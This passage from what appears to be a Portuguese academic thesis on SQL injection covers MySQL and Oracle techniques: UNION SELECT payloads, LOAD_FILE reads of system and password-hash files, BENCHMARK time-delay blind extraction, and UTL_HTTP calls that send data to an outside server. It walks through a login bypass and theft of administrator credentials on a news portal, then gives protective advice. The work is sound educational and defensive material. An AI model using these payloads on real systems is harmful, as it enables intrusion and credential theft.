mensagens de erro com informações explícitas sobre o conteúdo de variáveis como acontece em aplicações SQL Server. Mas se uma aplicação recebe dados diretamente do usuário sem nenhuma validação a injeção de SQL é possível. Apesar de não retornar o conteúdo de variáveis os erros retornados por uma aplicação MySQL (assim como de qualquer outro gerenciador de banco de dados) podem ser muito úteis para um invasor descobrir informações sobre um banco de dados. As principais áreas de perigo em ataques a BDs MySQL são as funções UNION SELECT, LOAD_FILE e BENCHMARK. Segundo Anley (2004) existem também outras funções perigosas como LOAD DATA INFILE (permite carregar/ler dados de um BD) e SELECT ... INTO OUTFILE (permite modificar e gravar dados em arquivos existentes), mas estas funções não são tão úteis ao invasor, pois, além serem raras as aplicações que permitem múltiplos comandos estas funções são complicadas de usar. 4.2.1 SELECT e UNION A cláusula UNION foi implementada na versão 4.0 do MySQL. Esta cláusula é utilizada para combinar o resultado de duas pesquisas. Segundo Anley (2004) por ser um dos principais ingredientes de um ataque por SQL Injection, a introdução da cláusula UNION facilitou a exploração a servidores MySQL. Para exemplificar a utilização desta vulnerabilidade por invasores, será usada uma tabela qualquer de nome codigo e a consulta declarada no Código 22. var consulta = "SELECT * FROM codigo WHERE cod=['cod']; Código 22 - Verificação de usuário no BD Assumindo que o script que faz a requisição ao BD seja da linguagem PHP, a URL utilizada para realizar a requisição à tabela codigo será de acordo com a URL no Código 23. 49 http://exemplo.mysql.com/consulta.php?cod=0 Código 23 - URL para consultar código Segundo Litchfield et al (2005) se um usuário malicioso deseja retornar dados úteis, como parte da tabela codigo, a cláusula UNION pode ser usada para combinar dois conjuntos de resultados. Pelo fato de o comando UNION vir após a cláusula WHERE em um comando SELECT, é possível escolher qualquer dado desejado, de acordo com as seguintes restrições: • Ambas as pesquisas utilizadas na cláusula UNION devem possuir o mesmo número de colunas com o mesmo tipo de dados. • Se os dados contêm campos de texto, eles devem ser truncados ao tamanho do campo de texto correspondente na primeira pesquisa. Para retornar o literal @@version, que retorna a versão do MySQL utilizada no servidor, um invasor realizaria a requisição informando o nome de usuário ao BD de forma parecida com a representada no Código 24. http://exemplo.mysql.com/consulta.php?cod=1+UNION+SELECT+@@version,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 Código 24 - Retornando Versão do MySQL De acordo com as restrições para utilização da cláusula UNION é necessário que as duas pesquisas tenham o mesmo número de colunas. Então se a consulta que reside no servidor MySQL utilizar o mesmo número de campos que a cláusula UNION feita pelo invasor o mesmo conseguirá visualizar a versão do MySQL utilizada. Mas se a pesquisa tiver um número diferente de campos uma mensagem de erro semelhante à Mensagem 6 será retornada ao usuário. The used SELECT statements have a different number of columns Mensagem 6 - Erro gerado pela cláusula UNION 50 A Mensagem 6 informa ao usuário que o número de colunas utilizadas na cláusula UNION tem números diferentes entre os dois lados da pesquisa. Para contornar este erro invasores geralmente inserem um número qualquer (1 por exemplo) ou valores nulos (null) nos campos em que se devem ser inseridos nomes de colunas das tabelas até que se consiga encontrar o número de campos correto da pesquisa (no exemplo do Código 24 a pesquisa possui 31 campos). Caso a mensagem de erro da Mensagem 6 continue a ser retornada o invasor irá inserir números até que seja descoberta a quantidade original de campos. Segundo Litchfield et al (2005) é possível selecionar campos arbitrários de tabelas em outras tabelas usando UNION SELECT. Se um invasor deseja retornar os campos nome e dl da tabela func também presente no BD da tabela codigo ele usaria o comando localizado no Código 25. http://exemplo.mysql.com/consulta.php?cod=1+UNION+SELECT+nome,dl,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+FROM+func Código 25 - Recuperando dados da tabela func "Usando UNION, um invasor pode efetivamente acessar todos os dados que a aplicação pode acessar” (LITCHFIELD et al, 2005). 4.2.2 Função LOAD FILE A função LOAD_FILE retorna um literal contendo o conteúdo de um arquivo qualquer especificado pelo seu caminho. No Código 26 podemos ver um exemplo de como utilizar a função LOAD_FILE para retornar o conteúdo do arquivo boot.ini em um sistema Windows. SELECT LOAD_FILE (‘c:\boot.ini’); Código 26 - Vendo Conteúdo do arquivo Segundo Litchfield et al (2005), o privilégio FILE (file_priv), na versão 4.1 do MySQL e todas as suas anteriores, permite ao usuário passar sem problemas por todos 51 os controles de acesso. Esta é uma característica documentada do MySQL. O texto seguinte foi retirado do manual do usuário do MySQL: "O privilégio FILE fornece permissão para ler e escrever arquivos no servidor usando instruções LOAD DATA INFILE e SELECT ... INTO OUTFILE. Qualquer usuário que tenha este privilégio pode ler ou gravar qualquer arquivo que o servidor MySQL possa ler ou escrever. O usuário também pode ler qualquer arquivo no diretório de banco de dados atual. O usuário não pode, no entanto, alterar qualquer arquivo existente” (MANUAL DE REFERÊNCIA DO MYSQL, 2006). Litchfield et al (2005) afirma que se um usuário possui o privilégio FILE, ele pode visualizar todas as “hashes” (números gerados por fórmulas matemáticas para representar uma seqüência de texto) das senhas. Um exemplo pode ser visto no Código 27. (Como qualquer usuário com privilégio FILE) SELECT SUBSTRING(LOAD_FILE('./mysql/user.MYD'), 195 ); 5d2e19393cc5ef67 (Como root) SELECT password FROM mysql.user WHERE user='monty'; 5d2e19393cc5ef67 Código 27 - Recuperando hashes das senhas de usuário Segundo Litchfield et al (2005) em versões MySQL anteriores a 4.1 as hashes das senhas são tudo o que um invasor necessita saber para conseguir se autenticar no BD. De fato, o usuário pode ver todos os dados no MySQL sem qualquer outro controle de acesso. As funções file_priv e load_file passam por todos. Isto funciona porque file_priv permite a um usuário ler qualquer arquivo que o MySQL possa ler. “A função file_priv é reconhecidamente ruim para outras razões, pois este é um caso sério de elevação de privilégios. Qualquer usuário que tem o privilégio file_priv pode ser considerado equivalente ao super usuário” (LITCHFIELD ET AL, 2005). Se o host alvo está rodando em um script qualquer que bloqueie o uso de apóstrofes, é preciso expressar o literal c:\boot.ini sem utilizar apóstrofes. De acordo 52 com Anley (2004) o MySQL aceita literais codificados em numeração hexadecimal como substitutos para literais. Um exemplo pode ser visto no Código 28. SELECT 'c:/boot.ini' SELECT 0x633a2f626f6f742e696e69 Código 28 - utilizando hexadecimais Utilizando o comando do Código 28, é possível montar uma requisição como a presente no Código 29. http://mysql.example.com/query.php?user=1+UNION+SELECT+LOAD_FILE_(0x63 3a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1 Código 29 - Fazendo requisições com hexadecimais Ao requisitar o comando presente no Código 29, um invasor obterá algo como o resultado presente no Código 30. [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N N N N N N N N N N N N N N N N N N 1 1 1 1 1 1 Código 30 - Visualizando os primeiros 60 bytes do arquivo boot.ini Em outras palavras, no Código 30 estão listados os primeiros poucos bytes do arquivo c:\boot.ini, porque a cláusula UNION trunca um literal ao tamanho do primeiro campo da tabela de usuários, que tem 60 (sessenta) caracteres. Segundo Anley (2004) isto pode ser endereçado utilizando o código 31. http://exemplo.mysql.com/consulta.php?cod=1+UNION+SELECT+SUBSTRING_(LO AD_FILE(0x633a2f626f6f742e696e69),60),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1 Código 31 - Recuperando os próximos 60 bytes do arquivo boot.ini 53 O comando presente no Código 31 irá selecionar os próximos 60 (sessenta) caracteres do arquivo c:\boot.ini. Desta maneira, é possível que um invasor itere através do arquivo todo, retornando todos os dados. De acordo com Anley (2004) a função LOAD_FILE trabalha com arquivos binários, e o comando SUBSTRING permite pular valores nulos, assim um invasor pode utilizar esta técnica para ler arquivos binários arbitrários. 4.2.3 Atrasos de Tempo e a Função BENCHMARK Quando uma aplicação web não retorna mensagens de erro úteis o invasor tem um grande problema, pois, quando isso ocorre é muito mais difícil determinar se a aplicação é ou não vulnerável à SQL Injection. Segundo Anley (2004) nestas situações é muito útil para um invasor conseguir uma consulta que congele o BD por um tempo significativo, como 10 segundos. Se o invasor tem uma função simples ou um fragmento de consulta que pausará o BD, ele estará hábil para determinar facilmente quais scripts da aplicação web são vulneráveis, pois a requisição web levará 10 segundos extras para ser completada. Uma vez que o invasor determinou que a injeção de SQL está presente na aplicação, ele pode usar atrasos de tempo (time delays) em combinação com expressões condicionais para extrair informações adicionais do BD. Segundo Anley (2004) não existe nenhuma função simples para pausar o BD como wait ou sleep em MySQL, mas a combinação de primitivas criptográficas e a função BENCHMARK trabalha da mesma forma. A função BENCHMARK avalia uma expressão específica em um número específico de vezes. Um exemplo da utilização da função BENCHMARK pode ser visto no Código 32. SELECT BENCHMARK(500000, sha1(‘teste’)); Código 32 - Utilização da função BENCHMARK No Código 32 o comando irá calcular a hash (indicador) sha1 do literal teste 500000 vezes. De acordo com Litchfield et al (2005) isto leva aproximadamente 5 segundos em uma máquina com um processador de 1.7 GHZ. A função BENCHMARK pode ser inserida para observar campos em uma aplicação web e descobrir quando a aplicação é congelada. Um exemplo pode ser visualizado no Código 33. 54 http://exemplo.mysql.com/consulta.php?cod=1+UNION+SELECT+BENCHMARK(500 000,sha1(0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1 Código 33 - Exemplo BENCHMARK O comando realizado no Código 33 irá fazer com que a aplicação alvo seja pausada por um período de tempo entre 10 e 15 segundos antes de responder. O invasor pode usar este tempo para realizar testes para descobrir informações sobre o sistema atacado. O Código 34 demonstra um exemplo de teste, a declaração do SELECT neste comando irá pausar o BD se o nome do usuário atual for root. mysql> SELECT IF(user() LIKE 'root@%', BENCHMARK(100000, sha1('teste')), 'false'); Código 34 - Extraindo informações com BENCHMARK A parte if do comando presente no Código 34 pode ser inserida em qualquer lugar em que um nome de coluna estaria presente em uma declaração SELECT, então é bem simples acessar este comando via SQL Injection. Segundo Litchfield et al (2005) o próximo passo é recuperar todos os dados do BD usando atrasos de tempo. Isto pode ser conseguido através da seleção de bits individuais fora de literais e pausando se eles forem iguais a 1. Por exemplo, no comando dado no Código 35, a declaração SELECT irá pausar o BD se o bit mais alto de user() for igual a 1. SELECT IF( (ascii(substring(user(),1,1)) >> 7) & 1, BENCHMARK(100000,sha1(test)), false ); Código 35 - Recuperando valores bit a bit Segundo Anley (2004) este pode ser um meio razoavelmente rápido de se extrair dados de um BD. 55 4.3 Vulnerabilidades em Oracle O gerenciador de banco de dados Oracle pode ser considerado um dos mais seguros de sua categoria contra ataques por SQL Injection, pois não existe suporte a execução de múltiplas expressões (SQL Server e PostgreSQL), não existem expressões EXECUTE (SQL Server), e nem funções como INTO OUTFILE (MySQL). Um forte ponto de segurança em banco de dados Oracle é o uso das variáveis de ligação. “Expressões SQL que utilizam variáveis de ligação (bind variables) são geralmente imunes a ataques por SQL Injection, pois o Oracle irá utilizar somente o valor da variável de ligação e não interpretar o conteúdo da mesma. PL/SQL e JDBC permitem o uso de bind variables. Bind variables deveriam ser utilizadas extensamente por razões de segurança e desempenho” (KOST, 2004). Apesar de o gerenciador Oracle ser aparentemente mais seguro e robusto do que outros gerenciadores contra ataques por SQL Injection, aplicações sem medidas de proteção próprias contra esse método de invasão podem ser vulneráveis. A maioria dos desenvolvedores de aplicações web subestima o risco de ataques por SQL Injection contra suas aplicações que utilizam o Oracle como sua base de dados (KOST, 2004). Muitos desenvolvedores de aplicações Oracle não entendem completamente o risco que ataques por SQL Injection podem oferecer e simples técnicas utilizadas para se prevenir contra estes ataques. Existem várias formas de ataques por SQL Injection que funcionam em bases de dados Oracle. Segundo Kost (2004) duas formas de ataque, a injeção de código e a injeção em chamadas de funções em Oracle, não são bem documentadas e muitas aplicações são vulneráveis a esses tipos de ataques. Todos esses tipos de SQL Injection são válidos em outras bases de dados como SQL Server, DB2, MySQL e PostgreSQL. 4.3.1 Injeção de Código Ataques por injeção de código (code injection) tentam adicionar expressões ou comandos SQL a expressões existentes no Oracle. Segundo Kost (2004) este tipo de ataque é frequentemente usado contra aplicações Microsoft SQL Server, mas funciona em uma base de dados Oracle (mesmo que raramente). A expressão EXECUTE no SQL 56 Server é um alvo freqüente de ataques por SQL Injection (não existe um comando correspondente no Oracle). Segundo Litchifield et al (2005), PL/SQL é uma linguagem utilizada para gerar stored procedures, funções, triggers e objetos no Oracle. Nesta linguagem não há suporte às múltiplas expressões por requisição de dados. Deste modo, o tipo comum de ataque por injeção de SQL proposto no Código 36 não funcionará contra um BD Oracle via PL/SQL ou uma aplicação Java, resultando em erro. SELECT * FROM usuario WHERE nome = 'bob' and senha = 'minhasenha'; DELETE FROM usuario WHERE nome = 'admin'; Código 36 - Tipo comum de ataque No entanto, algumas linguagens de programação ou APIs podem permitir que múltiplas expressões SQL sejam executadas (KOST, 2004). PL/SQL e aplicações Java podem dinamicamente executar blocos anônimos de PL/SQL, que são vulneráveis à injeção de código. O Código 37 é um exemplo de um bloco PL/SQL executado em uma aplicação web. BEGIN ENCRYPT_PASSWORD('bob', 'minhasenha'); END; Código 37 - Bloco PL/SQL O exemplo de bloco PL/SQL demonstrado no Código 37 executa um stored procedure que encripta e salva a senha do usuário. Um invasor pode tentar modificar esse bloco para executar como o exemplo no Código 38 e apagar o usuário admin do sistema atacado. BEGIN ENCRYPT_PASSWORD(‘bob’, ‘minhasenha’); DELETE WHERE upper(usuario) = upper(‘admin’); END; Código 38 - Bloco PL/SQL modificado 57 4.3.2 Injeção em chamadas de Função De acordo com Kost (2004) a injeção em chamadas de função é a inserção de funções do BD Oracle ou funções adaptadas em uma expressão SQL vulnerável. Estas chamadas de função podem ser utilizadas para fazer chamadas de sistema operacional ou manipular dados no BD. O BD Oracle permite que funções ou pacotes de funções sejam executados como parte de uma expressão SQL. Segundo Kost (2004) o Oracle suporta acima de 1000 funções em 175 pacotes padrões de BDs por default, no entanto somente poucas dessas funções são úteis a ataques por SQL Injection. Algumas dessas funções que realizam atividades na rede podem ser exploradas. De acordo com Litchfield et al (2005) qualquer função adaptada ou residente em um pacote padrão pode ser também executada em uma expressão SQL. Funções SQL executadas como parte de uma expressão SELECT podem não modificar o BD, a menos que a função esteja marcada como "PRAGMA AUTONOMOUS_TRANSACTION" (FAYÓ, 2005). Nenhuma das funções padrão do Oracle são executadas como transações autônomas. Funções executadas em expressões INSERT, UPDATE, ou DELETE são capazes de modificar dados no BD. Usando as funções padrão do Oracle, um invasor pode enviar informações da base de dados para um computador remoto ou executar outros ataques do servidor do BD. Segundo Kost (2004) muitas aplicações nativas do Oracle Server possuem pacotes com funções de BD que podem ser exploradas por um invasor. Estes pacotes podem incluir funções para mudar senhas ou realizar outras transações sensíveis da aplicação. A conseqüência de utilizar chamadas de função é que qualquer expressão SQL gerada dinamicamente pode ser vulnerável (KOST, 2004). Até as expressões SQL mais simples podem ser exploradas eficientemente. O exemplo do Código 39 demonstra que até o mais simples exemplo de expressão SQL pode ser vulnerável. Desenvolvedores de aplicações irão algumas vezes utilizar funções do BD ao invés de utilizar código nativo (Java dentre outros) para realizar tarefas comuns. Segundo Kost (2004) não existe um equivalente direto à função de banco de dados TRANSLATE em Java, então o programador pode decidir utilizar a expressão SQL localizada no Código 39. 58 SELECT TRANSLATE('entrada do usuário', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; Código 39 - Exemplo de expressão SQL A expressão SQL demonstrada no Código 39 não é vulnerável a outros tipos de ataques por injeção de código, mas é facilmente manipulada através de um ataque por injeção de função. O invasor irá tentar modificar a expressão SQL para executar como no Código 40. SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; Código 40 - Expressão SQL manipulada A expressão SQL modificada no Código 40 irá requisitar uma página do servidor web. O invasor pode manipular o literal e a URL para incluir outras funções que recuperem informações úteis do servidor de banco de dados e enviar estas informações para o servidor web na URL. Desde que a base de dados Oracle preferencialmente não rode por trás de um firewall, a técnica de injeção em chamadas de função pode também ser usada para atacar outros servidores da rede interna (KOST, 2004). Funções e pacotes de funções feitos à parte também podem ser executados. Um exemplo seria uma aplicação que possui o pacote MYAPPADMIN que tem a função ADDUSER. Se o desenvolvedor marcar a função como "PRAGMA AUTONOMOUS_TRANSACTION", a função poderá ser executada em qualquer circunstância que a aplicação encontrar, sendo assim, essa função poderá escrever para o BD mesmo em uma expressão SELECT (FAYÓ, 2005). Executando a expressão SQL do Código 41, o invasor poderá criar novos usuários para a aplicação. 59 SELECT TRANSLATE('' || myappadmin.adduser('admin', 'novasenha') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; Código 41 - Criando novos usuários Usando métodos de injeção de SQL Injection em chamadas de função um invasor pode gerar estouros de pilha ou buffer overflows em aplicações Oracle. buffer overflows foram identificados em funções padrão de várias bases de dados. “A maioria das aplicações e servidores web não segura uma perda de conexão resultante de um buffer overflow com o BD elegantemente (KOST, 2004)”. Geralmente o processo web irá segurar até que a conexão com o cliente seja finalizada, fazendo com que este seja um ataque de negação de serviço (DOS) muito eficiente. De acordo com Kost (2004) poucas funções padrão do Oracle podem ser exploradas através de um ataque por SQL Injection. Existem buffer overflows conhecidos em funções padrão como tz_offset, to_timestamp e bfilename. 60 5. ANATOMIA DE UM ATAQUE A técnica de injeção de SQL é uma das formas mais comuns de ataques a aplicações que fazem conexão com um banco de dados na Internet. Avaliando um pequeno número de aplicações foi possível detectar que pelo menos uma dentre três aplicações que se conectam e enviam informações a um banco de dados possuem vulnerabilidades à SQL Injection. Autores como Litchfield (2005) e Chapela (2005) afirmam que aproximadamente 60% das aplicações que se conectam a um banco de dados possuem vulnerabilidades à SQL Injection. Muitas aplicações concentram a maior parte de seus procedimentos de segurança somente em áreas consideradas mais importantes, como áreas de login e senha. E não dão importância a outros campos que também se conectam ao BD, como URLs de paginação, campos de pesquisa, dentre outros. Um único campo vulnerável pode comprometer toda a aplicação. Através de um campo vulnerável à injeção de SQL um invasor pode detectar muitas informações sobre o BD da aplicação e executar comandos que causem danos à mesma. 5.1 O Ataque Um exemplo de ataque a uma aplicação web pode ser visto na Figura 4, que consiste em um ataque a um portal de notícias que exige que os usuários sejam cadastrados para visualizar todas as notícias do site. A primeira providência que um invasor que utiliza SQL Injection toma ao escolher o site que será atacado é procurar campos vulneráveis à injeção de SQL. Formulários HTML em geral e URLs que enviam dados ao servidor de banco de dados podem ser vulneráveis. Geralmente a vulnerabilidade do campo é testada enviando uma apóstrofe (‘) ao BD (Figura 4), se a aplicação retornar erros (Figura 5) de sintaxe SQL o invasor terá certeza que a aplicação é vulnerável. 61 Figura 4 - Encontrando campo vulnerável Figura 5 - Erro de Sintaxe SQL 62 Na Figura 5, a mensagem de erro revela a vulnerabilidade do site. Provavelmente os dados enviados pelo usuário pelo campo de e-mail são concatenados ao final de um comando SQL sem que nenhuma validação de entrada seja realizada. A mensagem de erro gerada pela aplicação também revela ao invasor qual o gerenciador de banco de dados utilizado (MySQL). A partir do momento em que o invasor descobre um campo vulnerável na aplicação, um leque de possibilidades de invasão se abre para o mesmo. Através de outros testes o invasor pode descobrir mais informações úteis sobre o servidor. Para entrar na área vulnerável do sistema sem ser cadastrado o invasor necessitará somente criar uma consulta SQL que retorne um resultado verdadeiro. Por exemplo, a coluna na tabela utilizada no banco de dados para registrar nomes de usuários cadastrados provavelmente será identificada como nome, name, usuario, dentre outros. Se o usuário injetar o comando da Figura 6 na aplicação receberá como resposta a mensagem da Figura 7. Figura 6 - Tentativa de entrar no sistema 63 Figura 7 - Mensagem de erro na tentativa de logar A mensagem de erro na Figura 7 indica que o campo name não existe. Através de mensagens de erro como a da Figura 7 o invasor pode realizar tentativas até encontrar o campo desejado, pode ser difícil descobrir o nome de um campo, mas em geral são utilizados nomes sugestivos. Na aplicação em questão caso o invasor utilize o comando da Figura 8 ele conseguirá entrar no sistema (Figura 9), provavelmente como o primeiro usuário cadastrado na tabela. Figura 8 - Nova tentativa de entrar no sistema 64 Figura 9 - Sucesso em entrar no sistema Como se pode notar na Figura 8 o nome da coluna que armazena nomes de usuários na tabela da aplicação era nome, sendo assim o invasor conseguiu entrar no sistema sem ser um usuário cadastrado. Lembrando que ‘#’ é o caractere de comentário do MySQL, utilizado no comando da Figura 8 para comentar os comandos restantes, sendo assim não é necessário preencher o campo senha já que este será comentado garantindo que a injeção seja executada com sucesso. Clicando no link “Alterar meu Cadastro” da Figura 9 o invasor poderá descobrir informações úteis sobre o usuário em questão como nome, endereço, telefone, e-mail, dentre outros. A partir do momento em que o invasor descobre um nome de usuário ele pode descobrir todos os nomes de usuários da aplicação utilizando o mesmo comando da Figura 8, substituindo apenas a letra ‘a’ pelo nome de usuário encontrado (Código 42), obtendo o resultado da Figura 10. ‘OR nome > ‘Marcos Antonio Araujo de Almeida’ # Código 42 - Descobrindo o segundo usuário da aplicação Figura 10 - Segundo usuário da aplicação A Figura 10 mostra que o invasor conseguiu logar como o segundo usuário da aplicação, da mesma forma o invasor pode conseguir logar como qualquer usuário do sistema atacado. Além de utilizar o operador booleano or o invasor pode utilizar 65 qualquer operador SQL para realizar suas pesquisas de acordo com sua necessidade. São exemplos de operadores da linguagem SQL: like, and, +, -, /, *, dentre outros. A cláusula UNION pode ser utilizada pelo invasor para conseguir resultados mais interessantes sobre a aplicação. No entanto, para utilizar a cláusula UNION é necessário conhecer o número de campos utilizados pela aplicação para realizar a consulta e também é necessário conhecer o nome de alguma tabela do banco de dados (LITCHFIELD et al, 2005). Por exemplo, se o usuário mal-intencionado inserir o comando do Código 43 no campo de e-mail. 'UNION SELECT 1 FROM users # Código 43 - Usando a cláusula UNION no ataque Ele receberá o erro presente na Figura 11. Figura 11 - Erro de tabela não existente 66 O erro da Figura 11 indica que não existe nenhuma tabela com o nome users no BD em questão. Nesse caso é preciso que o invasor novamente teste vários nomes até encontrar um nome válido. Felizmente, para o invasor, a maioria das aplicações (principalmente as que utilizam pacotes prontos encontrados na Internet) utiliza nomes bem sugestivos. Após alguns testes o invasor descobrirá que existe uma tabela no BD com o nome usuarios onde são armazenados todos os usuários da aplicação. Após descobrir o nome da tabela de usuários, é necessário descobrir o número de campos utilizado na pesquisa para que o comando UNION seja executado com sucesso. Se o invasor inserir o comando presente no Código 44. ‘UNION SELECT 1 FROM usuarios # Código 44 - Descobrindo o número de campos da consulta Ele receberá a mensagem de erro da Figura 12. Figura 12 - Erro no número de campos da cláusula UNION 67 A Figura 12 informa que o número de campos entre os dois lados da cláusula UNION estão diferentes, não sendo possível completar a pesquisa. Nesse caso, o invasor deverá colocar mais campos na pesquisa até encontrar o número correto de campos e executar a cláusula UNION com sucesso. Na aplicação em questão existem 6 campos na pesquisa realizada, sendo assim para realizar com sucesso uma consulta utilizando a cláusula UNION o invasor deverá utilizar o comando do Código 45. ‘UNION SELECT 1,1,1,1,1,1 FROM usuários # Código 45 - Número correto de campos da consulta Executando o comando presente no Código 45 o invasor conseguirá executar com sucesso um comando utilizando a cláusula UNION e entrar no sistema (Figura 13). Figura 13 - Logado no sistema utilizando UNION Observando a Figura 13 e o Código 45, é possível detectar que o número 1 enviado como campo pelo invasor ao BD apareceu impresso na tela duas vezes, a primeira vez após a frase “seja bem vindo” e a segunda vez após a palavra registro. Desta forma é possível também visualizar além de nomes de usuários, outras informações como senha de usuários e assim descobrir a senha de um usuário com privilégio administrativo do site. A aplicação explorada consiste em um portal de notícias em geral. Aplicações dessa natureza geralmente possuem painéis de configuração onde um ou mais usuários (Administradores) podem atualizar as notícias e administrar a aplicação. Áreas administrativas de sites geralmente não são visíveis a usuários, e somente os administradores possuem o endereço para acessá-las. Porém, a maioria das áreas administrativas possuem suas URLs parecidas com o Código 46. 68 www.exemplo.com.br/admin/index.linguagem Código 46 - URL de área administrativa No Código 46 se a linguagem da aplicação for PHP o final do código será igual a index.php, se a linguagem for ASP o final ficará como index.asp, e assim por diante. Além da palavra index na URL é comum encontrar palavras como default, login, dentre outras. Após descobrir a linguagem que a aplicação utiliza, o invasor poderá descobrir a área administrativa do site, como na Figura 14. Figura 14 - Área administrativa do site Obviamente a área administrativa da aplicação possui uma maior preocupação em verificar a consistência dos códigos que são enviados ao servidor pelo usuário. Se o invasor tentar utilizar SQL Injection nos campos username e password da página de login da área administrativa dificilmente obterá sucesso. Porém, existe um campo vulnerável à SQL Injection que foi encontrado pelo invasor na mesma aplicação, e assim 69 como o campo de login para a área administrativa esse campo também interage com o BD da aplicação. Sendo assim é possível através do campo vulnerável que o invasor obtenha uma senha de administrador e entre no sistema administrativo do site sem problemas. O invasor pode conseguir uma senha de usuário utilizando a cláusula UNION. O primeiro usuário cadastrado no BD na maioria das vezes é o administrador do sistema. A Figura 9 demonstrou o nome do primeiro usuário cadastrado no site encontrado pelo invasor (Marco Antonio Araujo de Almeida). Para descobrir o valor da coluna username correspondente ao nome de usuário da Figura 9, o invasor pode utilizar o comando do Código 47. 'UNION SELECT 1,username,1,1,1,1 FROM usuarios WHERE nome LIKE '%marco antonio%' # Código 47 - Descobrindo o valor do campo username Ao executar o comando do Código 47 o invasor terá como resultado a informação da Figura 15. Figura 15 - Username do administrador A Figura 15 informa ao invasor que o valor da coluna username correspondente ao usuário de nome ‘Marco Antonio’ é igual a marco. Após conseguir o nome de usuário o invasor pode conseguir a senha do mesmo através do comando no Código 48. 'UNION SELECT 1,password,1,1,1,1 FROM usuarios WHERE username='marco'# Código 48 - Descobrindo a senha do administrador 70 Após executar o comando do Código 48 o invasor irá receber o resultado da Figura 16. Figura 16 - Senha do administrador A Figura 16 revela a senha do usuário marco (mrco****). Após descobrir um nome de usuário e a senha do mesmo o invasor irá se direcionar novamente a área administrativa do site para conferir se realmente conseguiu um nome de usuário e senha válidos para entrar no sistema (Figura 17). Figura 17 - Tentativa de entrar na área administrativa 71 Ao entrar com o nome de usuário e senha descobertos o invasor irá visualizar a página presente na Figura 18. Figura 18 - Painel da área administrativa A Figura 18 demonstra que o invasor conseguiu atingir seu objetivo com sucesso. Na área administrativa é possível realizar qualquer operação do sistema, como cadastrar e apagar usuários, incluir ou retirar notícias, modificar a aparência do site, dentre outras possibilidades. 5.2 Sugestões Preventivas O exemplo de ataque visualizado na Seção 5.1 demonstra que é importante para o desenvolvedor de sistemas web avaliar a aplicação como um todo, validar todas as informações que são enviadas pela aplicação web ao banco de dados. E nunca focar a segurança em apenas uma área do site. No ataque em questão um invasor conseguiu através de apenas um campo vulnerável na aplicação comprometer todo o sistema. Para corrigir o problema o administrador provavelmente terá que revisar todo o código do 72 site e procurar por campos que enviem dados ao BD que não estão sendo validados antes de serem executados na consulta (Seção 6.1). O exemplo de ataque realizado na Seção 5.1 também revelou que a aplicação retorna mensagens de erro muito detalhadas ao usuário, o que facilita ao extremo o trabalho do invasor. Em contrapartida foi possível identificar que a aplicação não se conecta ao banco de dados com privilégios administrativos, sendo assim os riscos de um ataque por SQL Injection ficam limitados ao BD e não podem ser estendidos ao sistema operacional ou a outros computadores da rede (Seção 6.3). Outras medidas importantes de segurança para proteger uma aplicação podem ser encontradas no próximo capítulo (Práticas de Proteção). 73 6. PRÁTICAS DE PROTEÇÃO Durante a pesquisa foram encontradas várias técnicas de defesa contra SQL Injection em vários sites, revistas e artigos. O grande problema é que muitas destas técnicas exibem métodos de proteção que possuem falhas graves e que podem dar falsa sensação de segurança aos administradores de sites que as adotarem. Nesta seção foram reunidas algumas das melhores técnicas de proteção contra invasões por SQL Injection com o intuito de auxiliar programadores web a construírem sistemas realmente seguros contra este tipo de ataque. 6.1 Validação de entradas do usuário Existem várias formas e procedimentos para se defender de um ataque por SQL Injection. A primeira forma, e mais óbvia, é ter certeza que as aplicações web estão validando corretamente as entradas cedidas pelos usuários (LITCHFIELD et al, 2005). É seguro dizer que a maioria das explorações de segurança envolvem o aplicativo-alvo verificando incorretamente os dados de entrada ou, em alguns casos, não verificando nada. É importante que uma aplicação valide todas as suas variáveis que entram em contato com o BD, principalmente as variáveis enviadas por usuários, evitando assim que algum código malicioso chegue a ser executado no servidor. Segundo Kost (2004) todo literal passado como parâmetro deve ser validado. Muitas aplicações web utilizam campos hidden e outras técnicas que também precisam ser validadas. Nunca se deve confiar em entradas do usuário, pois mesmo um usuário bem intencionado pode inserir uma combinação de caracteres que pode afetar o servidor. "Toda entrada é mal intencionada até que se prove o contrário” (HOWARD & LEBLANC, 2005, p.327). A validação de entradas pode ser um assunto complexo, pois sua implementação pode diminuir o desempenho da aplicação e não acrescenta em nada a funcionalidade da mesma. Porém segundo Howard & Leblanc (2005, p.328), nenhum sistema torna-se menos confiavelmente responsivo que um sistema invadido, ou seja, é importante que o programador pense tanto em desempenho quanto em validar as variáveis do sistema para que o mesmo seja confiável. Segundo Anley (2002) e Litchfield et al (2005) existem diferentes meios de se programar a validação de dados, são eles: tentar modificar os dados para se tornarem 74 válidos, rejeitar entradas reconhecidas como maliciosas e aceitar somente entradas conhecidas como “boas”. Modificar as entradas do usuário pode ser perigoso, essa técnica de proteção geralmente é construída substituindo caracteres conhecidos como maliciosos por outros caracteres. Por exemplo, se o caractere apóstrofe (‘) é inserido juntamente com a entrada de um usuário, e aplicação o substitui por aspas (“), significa que em qualquer consulta SQL esta entrada será tratada como um caractere apóstrofe. Esta tentativa tem o benefício de processar corretamente nomes que possuem apóstrofes (O'Neill, D'Carlli, dentre outros). Segundo Litchfield et al (2005) o uso de escape de caracteres pode ser perigoso se limites ao tamanho das variáveis estiverem aplicados a qualquer um dos campos de entrada. Limites de tamanho podem ser aplicados para reduzir o risco de ataques por buffer overflow. De acordo com Litchfield et al (2005) supondo que caracteres apóstrofe sejam substituídos e o campo nome de usuário seja limitado a 25 caracteres, se invasor insere o nome presente no Código 49. teste''''''''''' Código 49 – Nome de usuário A aplicação escapa das apóstrofes substituindo-as por aspas, e trunca o resultado ao limite de 25 caracteres. 